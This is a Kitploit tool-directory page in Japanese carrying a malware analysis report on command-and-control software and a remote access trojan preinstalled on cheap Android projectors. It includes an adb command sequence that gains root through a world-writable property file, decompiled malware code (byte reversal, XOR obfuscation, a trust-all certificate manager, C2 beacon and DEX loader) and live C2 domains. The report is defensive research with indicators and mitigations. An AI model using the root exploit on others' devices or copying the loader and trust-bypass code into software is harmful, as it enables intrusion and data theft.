Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Android-Projector-C2-Malware — 中国のビーマーによるC2ネットワークの分析 - SilentSDK-Analysis | Kitploit
ツール/GitHubGitHub/kavan00/android-projector-c2-malware
Androidセキュリティ組み込みシステムセキュリティ侵害指標 (IOC) 管理IoTセキュリティネットワークフォレンジックリバースエンジニアリングマルウェア分析デジタルフォレンジックコマンド&コントロール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
脅威インテリジェンス
サプライチェーンセキュリティ
ファームウェア解析
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

中国のビーマーによるC2ネットワークの分析 - SilentSDK-Analysis

リポジトリを見る
18284ヶ月前未レビュー

AndroidプロジェクターにプリインストールされたC2インフラとRATペイロード

技術分析レポート — セキュリティ研究


影響を受けるデバイス: Nonete(例:モデルHY260Pro)などのビーマーブランドの複数のAndroidプロジェクター(Magcubic、Hotack、Huyukangなど多くのメーカーが同様のモデルを販売しており、これを裏付ける兆候があるため、これらのプロジェクターも影響を受ける可能性が高い)
チップセットプラットフォーム: Allwinner H713 / sun50iw12p1 — このプラットフォーム上のすべてのデバイスに影響を与える可能性がある
分析期間: 2026年4月11日~17日
分類: プリインストールされたコマンド&コントロールインフラとリモートアクセストロイのペイロード


TL;DR

  • 問題: 現在Amazon、eBay、AliExpressで大量に販売されている多数の安価なAndroidプロジェクター(Magcubic、Hotackなどのブランドで、Allwinner H713チップを搭載している可能性がある)が、工場出荷時にマルウェアに感染している(サプライチェーン攻撃。 "BADBOX"事例に類似)。
  • メカニズム: 一見無害なシステムアプリ("StoreOS")が偽装されたドロッパーとして機能する。バックグラウンドで「SilentSDK」というステージ2ドロッパーを完全にサイレントにダウンロードし、最大システム権限でインストールする。これにより、モジュール式でプラグインベースのアーキテクチャに対応したRATおよび可能性としてフィッシングフレームワークがインストールされる。
  • 危険性: マルウェアは中国(api.pixelpioneerss.com)へのC2接続を確立し、機密性の高いデバイスIDを抽出し、任意の追加悪意コードをルート権限でいつでもダウンロードして実行できる(chmod 777)。さらに、デバイスにはオープンなルートバックドアが存在する。
  • 即時緩和策: C2ドメイン(特に*.aodintech.com、api.pixelpioneerss.com、sta.smartinnovate.net)をネットワークレベルでブロックする必要がある。影響を受けるユーザーは、悪意のあるアプリがシステムに深く埋め込まれているため、ADBを介して手動で無効化することしかできない。

緊急のお知らせ

本レポートで文書化されたマルウェアインフラは、現在Amazon、eBay、AliExpressでエンドユーザーに大量販売されているAndroidプロジェクターにプリインストールされている。影響を受けるデバイスは、複数のブランド名(Hotack、Huyukang、Magcubic、Noneteなど)に及ぶ可能性がある。同一のC2インフラは、同一メーカーの他のデバイスでも独立して確認されている(セクション13参照)。 このパターンはBADBOX事例と一致する。


目次

  1. デバイスの特定
  2. 調査ワークフロー
  3. ルートアクセス — エクスプロイトパス
  4. C2サーバー応答 — 核心的証拠
  5. マルウェアエコシステムの概要
  6. StoreOS — ドロッパー分析(com.htc.storeos)
  7. EventUploadService — テレメトリ(com.htc.eventuploadservice)
  8. ExpandSDK — 広告インジェクション(com.htc.expandsdk)
  9. SilentSDK — ステージ2ドロッパー分析(com.hotack.silentsdk)
  10. マルウェア
  11. システムバックドア
  12. ネットワークフォレンジック
  13. デバイススプーフィング(ビルドフィンガープリントスプーフィング)
  14. 外部確認
  15. 侵害指標(IOC)
  16. MITRE ATT&CKマッピング
  17. 即時緩和策
  18. 出典

購入したデバイス: Amazonリンク - Nonete Mini Beamer 4K 1080P


1. デバイスの特定

範囲に関する注意: Allwinner H713チップセットは、欧州市場でブランド名を変えながら販売されている多数の安価なAndroidプロジェクターに組み込まれている。同一のファームウェアベース(h713_tuna_p3)と同一のC2オペレーター(Shenzhen Aodin Technology)は、このOEMの全デバイスが同一のインフラを含んでいることを強く示唆している。


2. 調査ワークフロー


3. ルートアクセス — エクスプロイトパス

ルートアクセスは3つの脆弱性の組み合わせによって達成された:

  1. SELinux Permissive — アクセス違反はログに記録されるだけでブロックされない。
  2. ワールド書き込み可能な/oem — パーティションはFATとしてfmask=0000でマウントされている。
  3. ブート時に読み込まれるcustomer.prop — システムプロパティを上書きする。```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**影響:** 物理的なアクセスを持つユーザー、または同一ネットワーク上の攻撃者(ADB経由、ポート5555が開いていて認証なし)が完全なルートアクセスを取得します。

---

## 4. C2サーバー応答 — 主要な証拠

### キャプチャされたHTTPリクエスト```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

サーバー応答(pcapngからデコード - テーブル)

gzip圧縮された応答には、7つのアプリを含むJSONリストが含まれています。そのうち6つは通常のストリーミングアプリ(YouTube、Netflix、Disney+、Prime Video、Chrome、BrowseHere)です。7つ目はSilentToolsです。

SilentToolsの設定詳細```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**Interpretation of the flags:**

- `isShow: false` — The app does not appear in the store interface.
- `isForce: true` — Presumably forces the action (installation or update).
- `isSilentUninstall: true` — Can uninstall itself without user interaction.
- `launchType: 1` — Automatically starts the background service.
- `launchParam: MyService` — Reference to the persistent service.
- `zone: "Global"` — Targets all devices worldwide.
- `reverseLen` — Byte length needed to restore the SilentSDK `.apk`.

### Encrypted Download Path

The `path` field is AES-CBC encrypted:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> The ChannelID of the device.
- **Decrypted result:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

注: ここではファイル拡張子.bppがファイアウォールを回避するために使用され、実行時に.apkにリネームされる可能性があります。このキャプチャではisSilentInstallフィールドはfalseです。isForce: trueの正確な意味は、デコンパイルされたコードから明確に復元できませんでした。この値がサーバーサイドで動的にtrueに設定される可能性は否定できません。


5. マルウェアエコシステムの概要

このデバイスには、4つの連携するシステムアプリが含まれており、すべてAOSPテストキーで署名され、UID 1000(System)で実行されています。```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com

root@kitploit:~
   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — ドロッパー分析

StoreOSは自動インストールされるアプリストアのように見えますが、ドロッパーの機能を果たします。  
**パッケージ:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### 権限

| 権限 | 影響 |
|:---|:---|
| `INSTALL_PACKAGES` | ユーザーダイアログなしでのサイレントインストール |
| `CLEAR_APP_USER_DATA` | 任意のアプリデータの削除 |
| `MASTER_CLEAR` | 工場出荷時リセットのトリガー |
| `WRITE_SECURE_SETTINGS` | セキュリティ設定の変更 |
| `DEVICE_POWER` | デバイスの電源管理 |
| `MANAGE_EXTERNAL_STORAGE` | 外部ストレージへのフルアクセス |

### インストールチェーン(逆コンパイルコードより)

1. **BootReceiver**が`CheckUpdateService`を起動します。
2. HTTP POST to `store-api.aodintech.com/sign/app/list`.
3. サーバーが以下を含む`AppsData[]`を配信します: `pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。
4. `DownloadService`がCDNから`.bpp`ファイルとしてAPKを取得します。
5. **バイトリバーサル保護:** 最初の`reverseLen`バイトがディスクに書き込まれる前に反転されます(解析対策)。
6. ダウンロードされたファイルのMD5検証。
7. `Runtime.getRuntime().exec("pm install -r " + filePath)`を介したインストール。
8. `StartAppService`が`launchParam`に従ってインストールされたアプリを起動します。

### バイトリバーサル機構 — 技術的証明

**クラス:** `AbstractC2057b` — **メソッド:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

このメソッドは、ダウンロードされたすべてのAPKの最初の`reverseLen`バイトを反転します。その結果、傍受された`.bpp`ファイルは、特定の`reverseLen`値が分からなければ、有効なAPKとして認識または抽出できません。```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

ダウンロードパスでの呼び出し (クラス RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
このメカニズムをリバースエンジニアリングすることで、SilentSDK APKのデコードと解析に成功しました。

### ジオターゲティング

StoreOSはIPジオロケーションに`api.ipdatacloud.com/v2/query`を利用しています。`SpecialApps`クラスには`continent`と`countryCode`のフィールドが含まれており、地域固有のペイロード配信が可能です。

---

## 7. EventUploadService — テレメトリ

**パッケージ:** `com.htc.eventuploadservice`  
**ターゲット:** `http://event-api.aodintech.com/report`  
**間隔:** 5分ごと  

| フィールド | 値の例 | プライバシーへの影響 |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MACアドレス(個人情報) |
| `deviceSn` | `[REDACTED]` | シリアル番号(一意) |
| `channel` | `HY260Pro_hy_TPYB` | ファームウェアチャンネル |
| `version` | `Projector.20250422.152235` | ファームウェアバージョン |
| `model` | `NT10` | デバイスモデル |
| `language` | `en_US` | 言語設定 |

送信はHTTP経由で暗号化されておらず、ユーザーの同意もなく行われます。MACアドレスとシリアル番号により、個々のデバイスの正確な識別と追跡が可能です。

---

## 8. ExpandSDK — 広告インジェクション

**パッケージ:** `com.htc.expandsdk`  
**C2サーバー:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDKはVASTビデオ広告にTCL VastAd SDKを利用しており、画面上の任意の位置にシステムオーバーレイダイアログ(`SYSTEM_ALERT_WINDOW`)をレンダリングできます。設定には位置フィールド(`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`)とパートナー識別子`htk`(Hotack)が含まれています。

ExpandSDKはSilentSDKとは独立して、別の収益化チャンネルとして動作します。

---

## 9. SilentSDK — RAT分析

**パッケージ:** `com.hotack.silentsdk`  
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`

### マニフェスト解析

| プロパティ | 値 | 意味 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | システム権限(UID 1000) |
| `usesCleartextTraffic` | `true` | HTTPトラフィック許可 |
| ランチャーアイコン | ユーザーから見えない | ユーザーインターフェースから隠されている |
| `BootReceiver` | 優先度999 | ほぼすべての他のアプリより先に起動 |
| `MyService` | exported, foreground | 永続的なバックグラウンドサービス |
| `BootStartActivity` | `com.htc.bootstart` | 追加の起動トリガー |

### DEXパッキングと復号化

元のDEXはパックされています。ヘッダーは2,318,316バイトを宣言していますが、圧縮ファイルには無効なAdler32チェックサムを持つ65,536バイトしか含まれていません。StoreOSのバイト反転保護を突破すると、DEXは完全に読み取り可能になり、ファイルサイズと宣言サイズが一致し、16,241の文字列が抽出可能になります。

### XOR難読化 — 技術的証明

すべてのセキュリティ関連文字列は、`AbstractC0000a.m36g()`メソッド内で回転XOR暗号を使用して難読化されています:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

復号された文字列

これは復号された文字列の一部に過ぎません。 MAC収集フローは意図的な許可バイパスを明らかにしています。WifiInfo.getMacAddress() がAndroidのプライバシー保護による偽のMAC(02:00:00:00:00:00)を返すと、マルウェアはルートシェル経由で /sys/class/net/wlan0/address から実際のハードウェアMACを直接読み取るフォールバックを行います——これは正規のアプリでは決して見られない動作です。

感染ライフサイクル — フェーズ別

以下の分析は、アプリ起動から持続的なC2制御に至るまでの完全な実行チェーンを追跡します。クラス名はJADXで難読化解除された識別子を参照しています。

フェーズ1: 初期化と定着

MyApplication.java — エントリポイント

Application.onCreate() オーバーライドが最初に実行されるコードです。すぐに C0561f.m1737c を ApplicationContext で呼び出し、UIがレンダリングされる前にマルウェア全体の機構をブートストラップします。

AbstractC0577v.java — コンテキスト

ホストアプリが自発的にコンテキストを提供しない場合、このクラスは深いシステムリフレクション(android.app.ActivityThread)を使用して自律的にグローバル ApplicationContext を取得します。これにより、ホストアプリに依存することなく、SDKはファイル、システムサービス、パッケージ管理へ完全にアクセスできるようになります。

C0578w.java — アクティビティライフサイクルオブザーバー

ActivityLifecycleCallbacks として登録し、すべてのユーザーインタラクション(どの画面が開かれているか、アプリがフォアグラウンドかバックグラウンドか)を監視します。重要なのは、無効化されたシステムアニメーションを再び有効にし、SoftInputMode 設定を操作することです——これは、ユーザーに予期しないキーボードポップアップで警告を与えずに、非表示のオーバーレイ(例:クリック詐欺用)をレンダリングするための前提条件です。

フェーズ2: フィンガープリンティングとステルス性

AbstractC0562g.java — Bot-ID生成

以下の要素を連結することで積極的なデバイスフィンガープリントを生成します:ランダムUUID + Build.BRAND + Build.MODEL + 物理MACアドレス(Androidのプライバシー保護をバイパスして cat /sys/class/net/wlan0/address 経由で収集)+ android_id + タイムスタンプ。結果の文字列はMD5ハッシュ化され、C2サーバーにデバイスを登録するための永続的なBot-IDである adid として保存されます。

C0565j.java — SSL証明書バイパス

checkClientTrusted、checkServerTrusted の検証メソッドが完全に空である操作された X509TrustManager を使用します。これにより、マルウェアはあらゆるSSL証明書を盲目的に受け入れ、Androidのセキュリティ機構がC2通信をブロックするのを防ぎます——たとえC2サーバーが侵害されていたり、無効な証明書を使用していても同様です。```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
SSLエラー(`SSLException`)が発生した場合、`f2664e` は `false` に設定され、以降のリクエストはすべてHTTPを使用します。




#### フェーズ3: ペイロードの取得
 
**`C0566k.java` — オフラインフォールバック(埋め込みペイロード)**
 
ネットワークに接続する前に、このクラスはAPK内の `assets/m17gawxG.java` にペイロードが既にバンドルされているかどうかを確認します。見つかった場合、ファイルをバイト単位で読み取り、ハードコードされたXORキー(`m17gawxG`)を使用して復号化します。結果は実行可能な `.temp` ファイルとして書き込まれます。これにより、RATはエアギャップ環境やC2サーバーに到達できない場合でもアクティブ化できるようになります。
 
**`RunnableC0569n.java` — ライブC2ダウンローダー**
 
オフラインフォールバックが失敗した場合、このクラスはBot-ID、パッケージ名、Androidバージョンを含むJSONビーコンを構築し、C2エンドポイント `api.pixelpioneerss.com` に接続します。
 
**ステップ1 — ランダムパスによるURL生成:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

ステップ2 — ビーコンペイロード:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**Step 3 — AES暗号化と送信:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

ステップ4 — サーバー応答の処理:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
ダウンローダー(`AbstractC0000a.m37h`)はペイロードを取得し、ルートシェルを使って `chmod 777` で完全な実行権限を付与します。
 
すべてのC2リクエストにはカスタムHTTPヘッダー `a: 1003` が含まれています。これはこのマルウェアファミリーのネットワークレベルのシグネチャです。



#### フェーズ4:実行と制御
 
**`AbstractC0568m.java` — ステージングエリア**
 
デバイスのファイルシステムに **`TMRXwWJu3G5`** という隠しディレクトリを作成し、ダウンロードされたすべてのペイロードをステージングします。このクラスには、悪意のあるオーバーレイがアクティブな間にユーザーが「戻る」ボタンを押せないように、物理キーイベント(`KeyEvent`)をインターセプトするメソッド(`m1754e`)も含まれています。
 
**`C0561f.java` — オーケストレーター**
 
チェーン全体を結合します。`C0566k.m1746b` の高度に難読化されたコードを呼び出し、リフレクションを使用して文字列 `"dalvik.system.DexClassLoader"` を構築し、それを初期化します。その後、ClassLoader は強制的に最終ペイロードクラスをロードして実行します:```
com.me.cash5.OoO0OOo

From this point onward, the dynamically loaded payload has full control within the app's process context (UID 1000 / System).

Phase 5: Telemetry, Exfiltration, and Persistence

AbstractC0563h.java & C0558c.java — Telemetry Collection

Every module load, error event (e.g., download failure), or overlay display triggers a status report (coded as "e6", "e4" for SSL errors, etc.). C0558c runs a dedicated collection thread ("burying_loop_s") that aggregates these events. Every 5 seconds, it assembles a comprehensive JSON telemetry packet with fields like "d" (device model), "e" (SDK version), "c" (Android ID).

RunnableC0564i.java — Data Exfiltrator

Takes the telemetry JSON, compresses it with GZIPOutputStream (to hinder traffic analysis), then encrypts it with custom AES — appending the dynamic keys to the ciphertext. The resulting GZIP-AES packet is transmitted via the SSLバイパス TrustManager to a dedicated tracking server:``` bur.thedynamicleap.com

root@kitploit:~
これはプライマリの `api.pixelpioneerss.com` とは**別のC2ドメイン**であり、テレメトリの流出専用に使用されます。
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — ハートビートと自己修復**
 
永続化メカニズムです。`AbstractC0572q` はメインスレッド上にタイマーを保持します。感染チェーンのいずれかの部分が失敗した場合(例:ダウンロード中にインターネットがない場合)、`sendEmptyMessageDelayed(..., 60000L)` を起動します。正確に60秒後、`RunnableC0560e`(バックグラウンドワーカーとして)が感染機構全体を最初から再起動します。このループは感染が成功するまで無限に繰り返されます。
 
### 永続化と動的ローディング — 概要
 
`RunnableC0569n` のメソッド `m1762a()` は、完全なペイロードダウンロードサイクルを実装しています。
 
1. C2からDEXファイルをダウンロードする。
2. MD5ハッシュを検証する。
3. バージョン番号をSharedPreferencesに保存する。
4. `DexClassLoader` または `Runtime.exec()` を使用してDEXをロードして実行する。
5. エラー時:SharedPreferencesのリトライカウンタを増加させ、13回の失敗試行後に一時停止 — その後、60秒のハートビートがサイクルを再開する。


## 9.1. マルウェアペイロード

C2サーバーにこのリクエストを送信した後:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

レスポンス:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. マルウェア

ペイロードの取得とその後の分析が成功した後、カスタム暗号化と難読化の強力なレイヤーを回避した上で、このマルウェアは高度にモジュール化されたアーキテクチャを採用していることが判明しました。このマルウェアは、プラグインを動的にダウンロード、更新、再起動、そしてフォレンジック証拠を破壊するために積極的に削除することが可能な、洗練されたフレームワークとして動作します。これらのペイロードはルート権限で実行されます。さらに、コードは画面上に完全なWebViewをオーバーレイするように設計されたメカニズムを明らかにしており、高度なフィッシング能力を強く示唆しています。また、マルウェアは高度な標的化と回避戦術を示しており、特定の地域を攻撃するための厳格なジオフェンシングを実装し、CPUアーキテクチャ(`arm64`、`armeabi`、`x86`、`mips`を区別)をプロファイリングし、C2通信を保護するためにSSL証明書検証を積極的にバイパスします。現時点では、この概要は意図的に簡潔にしています。なぜなら、強力な難読化により、長期にわたる継続的なリバースエンジニアリングプロセスが必要だからです。

## 11. システムバックドア

### 11.1 隠し`su`バイナリ:`/system/bin/qw`

`su` バイナリを `qw` と改名したもの(Koushikdutta Superuser、388 KB、静的リンク、ARM 32ビット):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • プロセス: PID 2409, UID 0 (root)
  • ソケット: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • TCPポート: 65528 (UID 0)

11.2 AOSPテスト鍵をプラットフォーム署名鍵として使用

プラットフォーム署名証明書は、AOSPソースコードに公開されているテスト鍵です(packages.xml内のCert Index 0)。この鍵で署名されたアプリは、端末上で自動的にシステム権限を取得します。この鍵は、あらゆるAndroid開発者が自由にアクセスできます。

11.3 追加のオープンサービス

10.4 dbgserver

/vendor/bin/dbgserver — ハードウェアレジスタI/Oサーバーで、全世界書き込み可能なデバイス /dev/hidtvreg (crwxrwxrwx) を介して通信します。


12. ネットワークフォレンジクス

すべてのC2通信は暗号化されていないHTTPで行われます。これによりMITM(中間者攻撃)が可能となり、同じネットワーク上の攻撃者はアプリリストを操作し、任意のAPKを注入できます。注入されたAPKはシステム権限でインストールされます。


13. デバイススプーフィング

端末はGoogleのADT-3(Android TV Developer Kit)を装います:

プロパティスプーフィングされた値

このスプーフィングは、Google Playの認証チェックを回避することを意図していると考えられます。


14. 外部確認

独立した分析

2026年1月、セキュリティ研究者Zane St. John氏が、まったく同じマルウェアインフラを搭載した同一のデバイスの分析を公開しました。調査結果はすべての重要な点で一致しています。C2エンドポイント、XOR難読化、AES-128-CBCプロトコル、キャンペーンID f101、SSLバイパス、chmod 777 です。Zane St. John氏が分析したデバイスはすでにSilentSDKに感染していたようですが、私のデバイスは初期状態では感染していませんでした。Zane St. John氏の分析におけるエンドポイントもわずかに変更されているようで、エンドポイントのローテーションの可能性が示唆されています。さらに、彼のケースではSilentSDKがプリインストールされていたようですが、私のデバイスではaodintechがトリガー信号を送信した後にダウンロードおよびインストールされるようです。

ソース: https://zanestjohn.com/blog/reing-with-claude-code

3つの独立したソースによるハッシュ検証

ソースMD5SHA-256

C2サーバー配布、我々の復号、外部分析からのハッシュは同一であり、まったく同じマルウェアであることが確認されました。 これにより、マルウェアの広範な拡散が確認されました。

VirusTotal

StoreOS-APK: BitDefenderがAndroid.Riskware.TestKey.rBを検出します。他のアンチウイルスエンジンはアラートを発しません。


15. 侵害指標(IOC)

ドメイン```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### ネットワークシグネチャ```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

パッケージとハッシュ```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### ファイルシステム```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

SilentSDK固有のアーティファクト```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. MITRE ATT&CK マッピング

| 手法 | ID | 証拠 |
|:---|:---|:---|
| サプライチェーン侵害 | T1195.002 | マルウェアファクトリーがプリインストール |
| ブートまたはログオン自動実行 | T1547 | BootReceiver 優先度 999 |
| 難読化されたファイルまたは情報 | T1027 | XOR 文字列、DEX パッキング、埋め込み XOR 暗号化アセット |
| アプリケーション層プロトコル | T1071 | HTTP/HTTPS C2 |
| 動的データ交換 / ペイロードインジェクション | T1055 | DexClassLoader, chmod 777 |
| システム情報の収集 | T1082 | デバイスフィンガープリンティング、ボットID生成 |
| ローカルシステムからのデータ収集 | T1005 | MAC、シリアル、IMEI、android_id |
| C2チャネル経由のデータ流出 | T1041 | `bur.thedynamicleap.com` への定期的なテレメトリー |
| 偽装 | T1036 | .bpp ファイル拡張子、ADT-3 偽装 |
| ルートキット | T1014 | 隠蔽された su バイナリ |
| 入力キャプチャ | T1056 | 戻るボタンを抑制する KeyEvent インターセプト |
| 痕跡削除 / 自己削除 | T1070 | `isSilentUninstall: true` 機能 |
| リフレクティブコードローディング | T1620 | リフレクティブな DexClassLoader インスタンス化 |
| システムウィンドウオーバーレイ | T1624 | 不可視オーバーレイのための SoftInputMode 操作 |

---

## 17. 即時対策

### 影響を受けるエンドユーザー向け```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

ネットワークレベルのブロッキング```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. ソース

1. Zane St. John: 「Claude CodeによるプリインストールAndroidマルウェアのリバースエンジニアリング」、2026年1月。 https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: 「BSI、IoTデバイス上のプリインストールマルウェアについて警告」(BADBOX)、2023年10月。
3. StoreOS APKのVirusTotal分析。

---

**分析期間:** 2026年4月11日~17日

**免責事項**
教育および研究目的のみ。このレポートは、サイバーセキュリティ脅威に関する情報提供の目的で「現状のまま」提供されます。分析は現在のマルウェアエコシステムのスナップショットに基づいており、リバースエンジニアリングは進行中のプロセスであるため、新しいデータが利用可能になるにつれて調査結果が変更される可能性があります。

このレポートは、バイナリデータと逆コンパイルされたソースコードの分析に基づき、誠意を持って、私の知る限り正確に作成されました。難読化の度合いが高く、脅威の性質が進化し続けているため、これらの調査結果は研究の現状を表しています。証拠は導き出された結論を強く支持していますが、さらなる技術的証拠が明らかになるにつれて、これらは洗練される可能性があります。
ツールをダウンロード
プロパティ値
ブランド名Nonete HY260Pro(複数の企業が販売するモデル)
